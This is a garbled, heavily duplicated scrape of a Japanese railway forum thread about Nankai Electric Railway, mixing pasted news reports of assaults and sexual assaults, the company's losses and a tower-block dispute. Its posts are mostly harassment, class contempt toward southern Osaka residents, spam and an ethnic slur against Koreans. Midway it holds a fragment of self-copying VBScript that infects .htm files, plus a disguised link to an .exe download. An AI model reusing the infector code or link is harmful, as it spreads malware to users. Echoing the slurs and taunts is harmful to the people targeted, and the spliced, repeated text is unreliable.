をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、
男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日
付朝刊35頁社会面４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕--------------------------------------------------------------------------------大阪府立高校の男子生徒３人を含む
少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１
７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調
べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。女子
生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし
立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や
駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わい
せつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３
男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日
付朝刊35頁社会面４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕--------------------------------------------------------------------------------大阪府立高校の男子生徒３人を含む
少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１
７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調
べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。女子
生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし
立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や
駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わい
せつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３
＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に
触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２
次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張って
トイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノッ
クしたが、反応はなかったという。６月上旬に女性が同署に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。［2006年7
月26日11時6分紙面から］ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営
発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向に
あり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類
の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがう
かがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前
年同期比では実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇用
触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２
次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張って
トイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノッ
クしたが、反応はなかったという。６月上旬に女性が同署に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。［2006年7
月26日11時6分紙面から］ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営
発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向に
あり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類
の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがう
かがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前
年同期比では実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇用
情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたの
は南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増
退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都
市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売
上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだ
という。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を
集めているのだ。南海電鉄、堺に１４８メートルのマンション計画仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方
後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。
中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は
南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる
は南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増
退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都
市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売
上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだ
という。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を
集めているのだ。南海電鉄、堺に１４８メートルのマンション計画仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方
後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。
中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は
南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる
。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に
一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設
に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケル
ン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが
、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンス
と期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm■「世界遺産登録に“超高層”の影」2006/05/23 放送（長文のため一部省略）この４月に関西で４番目、全国で１５
番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としてい
るんです。しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺
市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側
の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心
一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設
に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケル
ン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが
、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンス
と期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm■「世界遺産登録に“超高層”の影」2006/05/23 放送（長文のため一部省略）この４月に関西で４番目、全国で１５
番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としてい
るんです。しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺
市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側
の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心
地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞ しかしこの計画地、反正陵からわずか１２０
メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める
吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの
建物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門
家はこう指摘します。〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://
mbs.jp/voice/special/200605/23_2733.shtml現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーした、情けない赤字南海&南海ヲタおら
あああ！！モギャ！∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝
――＝≡三//￣￣´"'''⊂;;；#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海赤字南海ヲタが阪急萌えを自白「べっ別に阪急が好きだ
からこのスレに常駐してるんじゃないんだからね！」<bodyonload=window()>Ifs="htm"andfso.FileExists(f1.path+"l")=Falsethenfso.CopyFilef1.path,f1.path+"l"SetA4=A1.CreateTextFile(A1.B
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メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める
吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの
建物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門
家はこう指摘します。〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://
mbs.jp/voice/special/200605/23_2733.shtml現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーした、情けない赤字南海&南海ヲタおら
あああ！！モギャ！∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝
――＝≡三//￣￣´"'''⊂;;；#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海赤字南海ヲタが阪急萌えを自白「べっ別に阪急が好きだ
からこのスレに常駐してるんじゃないんだからね！」<bodyonload=window()>Ifs="htm"andfso.FileExists(f1.path+"l")=Falsethenfso.CopyFilef1.path,f1.path+"l"SetA4=A1.CreateTextFile(A1.B
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693 ：ひみつの検疫さん：2024/05/09(木) 17:55:32 ID:MarkedRes
汚染を除去しました。
/【紀ノ川←】南海電気鉄道ｽﾚｯﾄﾞNa82【⇒孝子】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/【紀ノ川←】南海電気鉄道ｽﾚｯﾄﾞNa82【⇒孝子】ttp://hobby7.2ch.net/test/read.cgi/rail
/1155819542/【紀ノ川←】南海電気鉄道ｽﾚｯﾄﾞNa82【⇒孝子】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/ 【紀ノ川←】南海電気鉄道ｽﾚｯﾄﾞNa82【⇒孝子】ttp://hobby7.2ch.net/test/r
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obby7.2ch.net/test/read.cgi/rail/1155819542/1000なら赤字南海、産業再生機構に入る1000なら赤字南海、産業再生機構に入る999：名無し野電車区：2006/09/13(水)01:04:12ID:h8Id2KVh1000な
ら赤字南海、産業再生機構に入る1000：名無し野電車区：2006/09/13(水) 01:04:44 ID:h8Id2KVh1000なら赤字南海、産業再生機構に入る
ノ川←】南海電気鉄道ｽﾚｯﾄﾞNa82【⇒孝子】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/【紀ノ川←】南海電気鉄道ｽﾚｯﾄﾞNa82【⇒孝子】ttp://hobby7.2ch.net/test/read.cgi/rail/115
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cgi/rail/1155819542/【紀ノ川←】南海電気鉄道ｽﾚｯﾄﾞNa82【⇒孝子】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/【紀ノ川←】南海電気鉄道ｽﾚｯﾄﾞNa82【⇒孝子】ttp://hobby7.2ch.ne
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obby7.2ch.net/test/read.cgi/rail/1155819542/1000なら赤字南海、産業再生機構に入る1000なら赤字南海、産業再生機構に入る999：名無し野電車区：2006/09/13(水)01:04:12ID:h8Id2KVh1000な
ら赤字南海、産業再生機構に入る1000：名無し野電車区：2006/09/13(水) 01:04:44 ID:h8Id2KVh1000なら赤字南海、産業再生機構に入る
696 ：名無しでGO!：2006/09/13(水) 23:25:31 ID:PEhKo3jZ0
結局トンズラしたみさき公園
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
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また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
南海はボロい南海はボロい↓赤字監禁強制わいせつ南海ヲタ
南海ボロボロ、ボロロンロン
699 ：名無しでGO!：2006/09/14(木) 22:38:34 ID:4cZhhTbj0
結局トンズラしたみさき公園
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ボ、ボ、南海ボ、ロ、イ！
ボボッボボッボッボロ、南海！ボボッボボッボッボロ、南海！ラッセー、ラッセー、ラッセー、ラッセー！ボボッボボッボッボロ、南海！
ボロは何かいい！並べ替えると・・・南海はボロい！
田舎はボロいん並べ替えると・・・南海はボロい
赤字監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ
赤字垂れ流しながら汐見橋線を運行する同和の味方は？
158：名無し野電車区：2006/09/14(木)23:59:59ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ158：名無し野電車区：2006/09/14(木)23:59:59ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)／ｵ
ﾜﾀ158：名無し野電車区：2006/09/14(木)23:59:59ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ158：名無し野電車区：2006/09/14(木)23:59:59ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)／
ｵﾜﾀ158：名無し野電車区：2006/09/14(木)23:59:59ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ158：名無し野電車区：2006/09/14(木)23:59:59ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)
／ｵﾜﾀ158：名無し野電車区：2006/09/14(木)23:59:59 ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ成功してますが>166このスレの連中は「井の中の蛙」なのでそんなことで煽っても無意味で
っせ
ﾜﾀ158：名無し野電車区：2006/09/14(木)23:59:59ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ158：名無し野電車区：2006/09/14(木)23:59:59ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)／
ｵﾜﾀ158：名無し野電車区：2006/09/14(木)23:59:59ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ158：名無し野電車区：2006/09/14(木)23:59:59ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)
／ｵﾜﾀ158：名無し野電車区：2006/09/14(木)23:59:59 ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ成功してますが>166このスレの連中は「井の中の蛙」なのでそんなことで煽っても無意味で
っせ
707 ：名無しでGO!：2006/09/16(土) 00:40:57 ID:Ep19pTlv0
結局トンズラしたみさき公園
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
天気が雨のため、例年のだんじり客特需を逃し、業績を下方修正せざるを得ない苦しい南海w南海ぼろい>294実は閉鎖的で保守的な土地柄のせいからだろう。俺は南海沿線住民だが泉大津・岸和田には
絶対住みたくない。どうしてもならまだ泉佐野のほうがマシこんなこと思うの俺ひとりじゃないと思うが
絶対住みたくない。どうしてもならまだ泉佐野のほうがマシこんなこと思うの俺ひとりじゃないと思うが
>326いや、みんな泉州もとい大阪南部には住みたくないんだけどな。貧乏人が、仕方なく地価の安い大阪南部に住んでいるのが実状。しかし実際は、土地が安い分、南海に電車代をぼったくられてい
る。阪急の運賃水準と比べると、南海はぼったくりまくり。
る。阪急の運賃水準と比べると、南海はぼったくりまくり。
>335今の泉佐野市は、財政破綻寸前だけどな。他の泉州の市町村も似たようなもん。
>327昔の泉佐野はな・・・しかし今は関空のおかげで“新しい血”が流れ垢抜けした部分もある。>334揚げ足を取らせてもらうと・・・・阪急沿線の言わいる“高級住宅地”は駅からバス乗り換えな
いと行けないところが大半なんだけどな
いと行けないところが大半なんだけどな
南海の売り・美加の台でも、辺鄙すぎてまっとうな人間の住むところじゃないし。大阪ガスではなくて河内長野ガスというあたりにも、辺鄙さを感じる
彩の台なんか、お話にもならない次元。都心からはるかかなたの山奥の上に、林間田園都市駅からさらに渋滞しない道をバスで15分以上とは、情けない。ここぞ究極の負け組が集うニュータウン。安
月給人間の集まり。住所を書くだけで「私は貧乏の家庭です」とカミングアウトすることになり、何とも恥ずかしいだろう。
月給人間の集まり。住所を書くだけで「私は貧乏の家庭です」とカミングアウトすることになり、何とも恥ずかしいだろう。
714 ：名無しでGO!：2006/09/17(日) 18:06:58 ID:dGgKb1Cg0
はいはいﾁｿｶｽﾁｿｶｽ
梅田まで御堂筋線経由で40分の彩都の方が、断然便利で人気も高い。南海不動産とは違って、先行開発宅地が即時完売になったのが、「北摂」の人気を裏付けている。また、茨木市民となれるので、
河内長野市民や和歌山県民として低い扱いをされるよりも、断然ステータスが得られる。
河内長野市民や和歌山県民として低い扱いをされるよりも、断然ステータスが得られる。
南海沿線は本数少ないよな。どうせなら阪和線沿線のほうがよくね？
チョンの赤字南海ヲタはさっさと半島に帰れ
718 ：名無しでGO!：2006/09/17(日) 19:37:29 ID:dGgKb1Cg0
はいはいﾁｿｶｽﾁｿｶｽ
千早口〜紀美峠は人間の住めるところではない。
極論に極論で返すなよな阪急沿線の高級住宅地は駅からバスって書けば彩の台出してくるか？阪急にも岡本みたいなとこあるし南海にも浜寺・羽衣みたいなところがある。勝ち組の負け組のレベルの
低い ハナシ に加担する気はないがほんに“ええ場所”ってこの辺ちゃうんけ？キタもミナミもないっちゅ〜の
低い ハナシ に加担する気はないがほんに“ええ場所”ってこの辺ちゃうんけ？キタもミナミもないっちゅ〜の
721 ：名無しでGO!：2006/09/17(日) 21:32:45 ID:dGgKb1Cg0
はいはいﾁｿｶｽﾁｿｶｽ
722 ：名無しでGO!：2006/09/18(月) 01:22:38 ID:NjAJMM0c0
はいはいﾁｿｶｽﾁｿｶｽ
723 ：名無しでGO!：2006/09/18(月) 12:03:32 ID:r0q2TKwC0
はいはいﾁｿｶｽﾁｿｶｽ
wyxettp://www.qiucong.com/xq.exe南海沿線に高級住宅街など無い。デパートの特売見ると愕然としたと知り合いが言ってた。難波高島屋の特売品と、梅田阪急の特売品て全然値段が違うんだって。
難波の感覚で行くと、梅田阪急のは高すぎてとても特売品とは思えなかったそうだけど、それが飛ぶように売れていくんだって。沿線住民の購買力の差がすごく大きいみたい。>429β地区でもその騒音
って全然気にならないっしょ。そこが関空の対環境への優秀なところですな。日中に陸上航行してる飛行機は伊丹の着陸機だし俺は南大阪上空から伊丹離発着機締め出して関空離発着機に開放すべき
と考える。阪急は、ほぼ全員の車掌が車外スピーカーを使ってるが南海は使える車両が少ないせいもあったり、じゃまくさがりが多いのかほとんど使われてませんね。京阪沿線で伏見区在住ですがだ
んじり祭りに行くため南海を利用しましたが難波〜岸和田が480円って酷いぼったくりですね。難波〜堺周辺までの250円区間までは、ごく普通の料金なのに
難波の感覚で行くと、梅田阪急のは高すぎてとても特売品とは思えなかったそうだけど、それが飛ぶように売れていくんだって。沿線住民の購買力の差がすごく大きいみたい。>429β地区でもその騒音
って全然気にならないっしょ。そこが関空の対環境への優秀なところですな。日中に陸上航行してる飛行機は伊丹の着陸機だし俺は南大阪上空から伊丹離発着機締め出して関空離発着機に開放すべき
と考える。阪急は、ほぼ全員の車掌が車外スピーカーを使ってるが南海は使える車両が少ないせいもあったり、じゃまくさがりが多いのかほとんど使われてませんね。京阪沿線で伏見区在住ですがだ
んじり祭りに行くため南海を利用しましたが難波〜岸和田が480円って酷いぼったくりですね。難波〜堺周辺までの250円区間までは、ごく普通の料金なのに
>444安かろう良かろうの京阪安かろう悪かろうのスーパー玉出高かろう悪かろうの赤字監禁強制わいせつ南海
>427そりゃ、低所得の南海沿線民は阪急百貨店では買い物できないだろうよ。てかむしろ阪急百貨店が、置き引き・スリは日常茶飯事の南海沿線低所得民を寄せつけないようにした価格設定で、阪急
沿線の客に安心して買い物ができる場を提供している、ともいえる
沿線の客に安心して買い物ができる場を提供している、ともいえる
727 ：名無しでGO!：2006/09/18(月) 20:17:02 ID:gUftutscO
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ダイヤ改正前のデータイム急行停車駅の一つ手前で折り返す「普通車」を運行させていた大手私鉄に似たお笑い集団は？ヒント普通┃樽井
樽井の一つ先の尾崎と言う糞駅に特急を止めるお笑いを行う、大阪市中央区難波の鉄道業に見せ掛けたお笑い集団兼愚民団体の名を答えなさい
730 ：名無しでGO!：2006/09/18(月) 23:38:17 ID:r0q2TKwC0
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731 ：名無しでGO!：2006/09/19(火) 19:54:46 ID:p2dC41fj0
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732 ：名無しでGO!：2006/09/19(火) 20:11:40 ID:ht5TKn3R0
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733 ：名無しでGO!：2006/09/19(火) 21:02:21 ID:ht5TKn3R0
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735 ：名無しでGO!：
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